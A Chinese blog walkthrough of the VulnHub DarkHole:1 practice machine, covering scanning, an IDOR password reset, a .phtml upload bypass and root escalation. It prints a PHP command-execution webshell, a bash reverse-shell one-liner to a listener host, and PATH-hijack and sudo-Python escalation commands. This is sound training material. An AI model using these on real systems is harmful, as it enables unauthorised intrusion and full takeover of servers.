当前位置: 首页 > news >正文

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. 水平越权利用
    • 5. 文件上传漏洞GETSHELL
    • 6. 提权
      • 6.1 环境变量劫持提权
      • 6.2 sudo提权
  • 相关资源

一、靶场搭建

1. 靶场描述

Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force

在描述中作者提示该靶机不需要使用暴力破解。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

解压下载的zip压缩文件之后,使用VMware打开对应的ovf文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网路模式为NAT模式,然后点击启动就行。

image.png
image.png
image.png
image.png

image.png

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.132.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132

结果图:
image.png

可以确认主机开放了8022端口,分别对应http服务和ssh服务,以及http后台使用的PHP作为后台语言。到这里直接通过浏览器访问对应web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.132 -x 404

image.png

扫描出的目录之后可以一一进行访问,存在/upload/推测是文件上传的目录,推测网站中存在文件上传的地方。

4. 水平越权利用

找到系统的登录页面, 随便输入账号和密码进行登录,查看对应的请求参数,使用sqlmap试试是否存在sql注入漏洞。

image.png

image.png

# 使用sqlmap测试是否存在sql注入的命令
sqlmap -u " http://192.168.37.132/login.php" --data="username=admin&password=admin"

发现登录的两个参数并不存在sql注入点。

image.png

发现register.php页面可以直接注册账号,先注册一个账号,看看登录之后有没有什么利用点。

image.png

登录之后的页面,察觉到当前新注册用户的id为2,推测系统存在自带的账号的id为1,尝试将url上的id改为1看是否可以进行水平越权,获取id=1的用户的界面。

image.png

image.png

发现网站已经做了这种方式水平越权的检验。接下尝试使用页面上的修改密码,查看请求中包含两个参数passwordid。尝试修改请求包内容设置id=1,看是否支持可以通过篡改请求包的内容,修改id=1用户的密码。发现修改密码成功。

image.png

image.png

image.png

image.png

5. 文件上传漏洞GETSHELL

成功修改id=1的密码,我们知道系统自带用户的密码,现在只需要尝试常见的用户名进行登录就行(也可以在注册页面进行尝试,因为用户名如果存在,注册会失败)。通过上述方法测试出来系统自带的用户的用户名为admin.

image.png

发现存在文件上传的地方,尝试上传文件,发现做了文件检验,但也没有完全做。限制上传php后缀的文件,但我修改成pHp后缀就能上传,并不是只允许上传jpg,png,gif文件。并且发现这里上传的文件就保存之前扫描目录结构的/upload目录下。

image.png
image.png

上传过程中发现phtml文件可以上传成功,可以利用这种类型文件执行php代码。phtml文件可以同时包含html文件和php代码。新建一个test1.phtml上传。

# 代码内容
<?php
echo $_GET["x"]; 
system($_GET["x"]); //在主机上执行对应x参数的命令
?>

获取反向shell

# kali开启反向shell监听
nc -lvp 8888
# x参数设置为
bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"

因为上述命令包含&这和http中url中定义get请求参数的符号冲突,需要进行http的urlencode.可以访问这个网站点击跳转进行编码.将对应x参数设置编码后的bash命令,成功获取反弹shell。

image.png

image.png

6. 提权

获取反弹shell之后执行下面这段python代码创建一个交互性式的shell伪终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

拿到对应shell权限之后,一般有数据库的web项目,可以去查看数据库的账号和密码,可能会多账户密码相同的情况。这个项目中账号和密码存放在/var/www/html/config/database.php中。发现数据库账号和密码都为john

image.png

查看/home目录下存在john用户,可以尝试使用数据库密码进行切换用户。但是登录失败。

image.png

尝试使用SUID文件进行提权

# 寻找具有SUID标志的文件
find / -perm -u=s 2>>/dev/null

image.png

发现在/home/john/toto有一个具有suid标志的文件,查看文件的所有者,并且执行它,分析它的逻辑。

image.png

image.png

发现这个命令的执行逻辑是查看john的用户信息,推测里面执行了命令id john.尝试使用环境环境变量劫持提权。

6.1 环境变量劫持提权

环境变量劫持提权的命令

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp/:$PATH
# 调用命令
/home/john/toto

image.png

成功将shell的权限升级为john,在john的家目录下发现密码root123

image.png

6.2 sudo提权

发现密码之后直接使用sudo -l看是否有可利用的点,发现john可以以root身份执行/usr/bin/python3 /home/john/file.py的命令。

image.png

查看file.py文件的内容之后,发现john可以直接进行修改,接下我们修改一下file.py,在里面添加一些创建新终端的代码,以获得root身份。

image.png

echo "import os;os.system('/bin/bash')" > /home/john/file.py
# 提权
sudo /usr/bin/python3 /home/john/file.py

image.png

成功获取到root身份shell,获取到最终flag.

image.png

相关资源

1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)
9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)
10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)
11、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion2 通关详解 (附靶机搭建教程)
12、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)

相关文章:

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…...

【LeetCode】移除链表中等于设定值的元素、反转链表

主页&#xff1a;HABUO&#x1f341;主页&#xff1a;HABUO &#x1f31c;有时候世界虽然是假的&#xff0c;但并不缺少真心对待我们的人&#x1f31b; 1. 移除链表中设定值的元素 题目&#xff1a;给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所…...

Redis - 主从复制

在分布式系统中为了解决单点问题&#xff0c;通常会把数据复制多个副本部署到其他服务器&#xff0c;满⾜故障恢 复和负载均衡等需求。Redis也是如此&#xff0c;它为我们提供了复制的功能&#xff0c;实现了相同数据的多个Redis副 本。复制功能是⾼可⽤Redis的基础&#xff0c…...

UE5 HLSL 学习笔记

half的取值范围是整形的-60000 到 60000&#xff0c;考虑带宽的情况下使用half vector默认为float4 访问可以.xyzw&#xff0c;也可以.rgba&#xff0c;也可以[index]&#xff0c;且顺序可以变&#xff0c;比如说.yzwx 矩阵的获取值的方式 第一个行代表获取第1行第0号元素 第…...

一个简单ASP.NET购物车设计

思路&#xff1a; 创建一个多选列表 在cs文件里初始化购物车会话变量,同&#xff0c;创建一个新的 List<string> 并将其赋值给会话状态中的 "Cart" 键–&#xff08;利用Session&#xff09; Session 是一种用于存储用户特定信息的对象&#xff0c;这些信息可…...

双向循环列表

双向循环列表的实现。 根据定义实现。不解释&#xff0c;具体细节看代码。 list.h #pragma once#pragma pack(1)typedef struct _MyListEntry {_MyListEntry* next;_MyListEntry* prev; }MyListEntry;#pragma pack()class MyListClass { public:MyListEntry* m_list0;int m_k…...

go项目出现了ambiguous import要怎么解决?

前言 最近小编在 构建一个项目时出现了问题&#xff0c;提示报错里ambiguous import&#xff1b;查询了解到是 依赖包存在多个不同版本的问题 这样的情况要怎么解决呢&#xff1f; 小编先是将问题抛给了 chatgpt&#xff0c;得到了如下的信息&#xff1a; # 清理缓存 go clea…...

更改Ubuntu22.04锁屏壁纸

更改Ubuntu22.04锁屏壁纸 sudo apt install gnome-shell-extensions gnome-shell-extension-manager安装Gnome Shell 扩展管理器后&#xff0c;打开“扩展管理器”并使用搜索栏找到“锁屏背景”扩展...

ROS2humble版本使用colcon构建包

colcon与与catkin相比&#xff0c;没有 devel 目录。 创建工作空间 首先&#xff0c;创建一个目录 ( ros2_example_ws ) 来包含我们的工作区: mkdir -p ~/ros2_example_ws/src cd ~/ros2_example_ws 此时&#xff0c;工作区包含一个空目录 src : . └── src1 directory, …...

CSRF 跨站请求伪造的实现原理和预防措施

CSRF&#xff08;跨站请求伪造&#xff09;概述 CSRF&#xff08;Cross-Site Request Forgery&#xff09;&#xff0c;即跨站请求伪造&#xff0c;是一种攻击手段&#xff0c;攻击者利用受害者在网站上已认证的身份信息&#xff0c;诱使受害者发起未经授权的请求&#xff0c;从…...

【LeetCode】【算法】22. 括号生成

LeetCode 22. 括号生成 题目描述 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 解题思路 天天到处看答案&#xff0c;看的灵神的解题思路回溯不会写&#xff1f;套路在此&#xff01;&#xff08;Pyth…...

WPF+MVVM案例实战与特效(二十五)- 3D粒子波浪效果实现

文章目录 1、案例效果2、案例实现1、文件创建2. 功能代码实现3、粒子功能应用1、前端布局与样式2、代码解释2、 后端功能代码1、案例效果 2、案例实现 1、文件创建 打开 Wpf_Examples 项目、Models 文件夹下创建 3D粒子模型类 ParticleWaveEffectModel.cs 文件。在Tools 文件…...

wsl2安装和使用

WSL(Windows Subsystem for Linux)是一个在 Windows 操作系统上运行 Linux 二进制可执行文件的兼容层。它允许用户在 Windows 上运行 Linux 命令行工具和应用程序。 主要功能 简化开发流程:开发者可以在 Windows 上使用 Linux 的开发工具链。兼容性:支持多种 Linux 发行版,…...

【划分型 DP-最优划分】【腾讯笔试压轴】【hard】力扣132. 分割回文串 II

给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是回文串。 返回符合要求的 最少分割次数 。 示例 1&#xff1a; 输入&#xff1a;s “aab” 输出&#xff1a;1 解释&#xff1a;只需一次分割就可将 s 分割成 [“aa”,“b”] 这样两个回文子…...

Kubernetes-镜像加速篇-01-加速工具

[友情链接]加速三剑客 镜像加速&#xff1a;https://github.com/DaoCloud/public-image-mirror 二进制文件加速&#xff1a;https://github.com/DaoCloud/public-binary-files-mirror Helm 加速&#xff1a;https://github.com/DaoCloud/public-helm-charts-mirror 二进制文件…...

字母的异位数

做leetcode242题时出现了一个错误&#xff1a; bool isAnagram(string s, string t) {map<char,int> cnt;bool ans true;int lens s.length();int lent t.length();for(int i 0;i < lens;i){cnt[s[i]] 1;cout << cnt[s[i]] << endl;}for(int i 0;i…...

达梦数据库DM Exception字符串截断错误,略坑~

前言 我之前在使用达梦数据库的时候&#xff0c;遇到了很多很多的问题&#xff0c;主要对达梦数据库也不是很熟悉&#xff0c;它的语法和我所熟悉的mysql和postgresql有很大的区别。 今天&#xff0c;讲一下我之前遇到的一个问题。这个问题的起因是用达梦数据库迁移工具&…...

vue实现图片无限滚动播放

本人vue新手菜鸡&#xff0c;文章为自己在项目中遇到问题的记录&#xff0c;如有不足还请大佬指正 文章目录 实现效果代码展示总结 因为刚接触vue&#xff0c;本想着看看能不能用一些element的组件实现图片的轮播效果&#xff0c;尝试使用过element-UI里的走马灯Carouse&#x…...

python爬虫指南——初学者避坑篇

目录 Python爬虫初学者学习指南一、学习方向二、Python爬虫知识点总结三、具体知识点详解和实现步骤1. HTTP请求和HTML解析2. 正则表达式提取数据3. 动态内容爬取4. 数据存储5. 反爬虫应对措施 四、完整案例&#xff1a;爬取京东商品信息1. 导入库和设置基本信息2. 获取网页内容…...

Vivado+Vscode联合打造verilog环境

一、Vivado下载安装 详细参考我另一篇文章&#xff1a; Vivado2022.2下载安装_fpga vivado下载-CSDN博客https://blog.csdn.net/weixin_61081689/article/details/143460790?spm1001.2014.3001.5501 二、Vscode下载安装 详细参考我另一篇文章&#xff1a; VscodeAnacond…...

后进先出(LIFO)详解

LIFO 是 Last In, First Out 的缩写&#xff0c;中文译为后进先出。这是一种数据结构的工作原则&#xff0c;类似于一摞盘子或一叠书本&#xff1a; 最后放进去的元素最先出来 -想象往筒状容器里放盘子&#xff1a; &#xff08;1&#xff09;你放进的最后一个盘子&#xff08…...

智慧医疗能源事业线深度画像分析(上)

引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...

CTF show Web 红包题第六弹

提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框&#xff0c;很难让人不联想到SQL注入&#xff0c;但提示都说了不是SQL注入&#xff0c;所以就不往这方面想了 ​ 先查看一下网页源码&#xff0c;发现一段JavaScript代码&#xff0c;有一个关键类ctfs…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

R语言AI模型部署方案:精准离线运行详解

R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程&#xff0c;并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令&#xff0c;把数据流转换成Message&#xff0c;状态转变流程是&#xff1a;State::Created 》 St…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...

ServerTrust 并非唯一

NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)

参考官方文档&#xff1a;https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java&#xff08;供 Kotlin 使用&#xff09; 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...

现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?

现有的 Redis 分布式锁库&#xff08;如 Redisson&#xff09;相比于开发者自己基于 Redis 命令&#xff08;如 SETNX, EXPIRE, DEL&#xff09;手动实现分布式锁&#xff0c;提供了巨大的便利性和健壮性。主要体现在以下几个方面&#xff1a; 原子性保证 (Atomicity)&#xff…...